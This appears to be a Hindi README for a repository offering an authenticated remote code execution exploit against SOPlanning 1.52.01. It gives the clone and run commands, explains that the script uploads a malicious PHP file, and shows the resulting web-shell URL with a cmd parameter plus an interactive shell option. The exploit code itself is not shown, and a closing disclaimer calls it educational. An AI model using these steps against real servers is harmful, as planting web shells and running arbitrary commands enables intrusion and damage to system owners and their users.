
SOPlanning 1.52.01 (सिंपल ऑनलाइन प्लानिंग टूल) के लिए एक्सप्लॉइट - रिमोट कोड एक्ज़ीक्यूशन (RCE) (प्रमाणित)
इस रिपॉजिटरी में SOPlanning संस्करण 1.52.01 में रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता के लिए एक एक्सप्लॉइट शामिल है। यह एक्सप्लॉइट प्रमाणित उपयोगकर्ताओं को एक दुर्भावनापूर्ण PHP फ़ाइल अपलोड करने और सर्वर पर मनमाने कमांड निष्पादित करने की अनुमति देता है।
requests लाइब्रेरी (pip install requests के साथ इंस्टॉल करें)इस रिपॉजिटरी को क्लोन करें:
git clone https://github.com/TheExploiters/SOPlanning-RCE-1.52.01.git
cd SOPlanning-RCE-1.52.01
एक्सप्लॉइट स्क्रिप्ट चलाएँ:
python3 SOPlanning-1.52.01-RCE-Exploit.py -t <target> -u <user> -p <pass>
http://example.com:9090 को टार्गेट URL से, admin को उपयोगकर्ता नाम से, और admin को पासवर्ड से बदलें।
सफल निष्पादन के बाद, वेब शेल तक पहुँचें:
Access webshell here: http://example.com/upload/files/{link_id}/{php_filename}?cmd=<command>
इंटरैक्टिव शेल का उपयोग करने के लिए, संकेत मिलने पर yes के साथ उत्तर दें।
python3 SOPlanning-1.52.01-RCE-Exploit.py -t <target> -u <user> -p <pass>
यह एक्सप्लॉइट Ardayfio Samuel Nii Aryee द्वारा लिखा गया है और केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। लेखक और रिपॉजिटरी स्वामी किसी भी दुरुपयोग या हुए नुकसान के लिए ज़िम्मेदार नहीं हैं। किसी भी सिस्टम पर इस एक्सप्लॉइट का परीक्षण करने से पहले सुनिश्चित करें कि आपके पास स्पष्ट अनुमति है।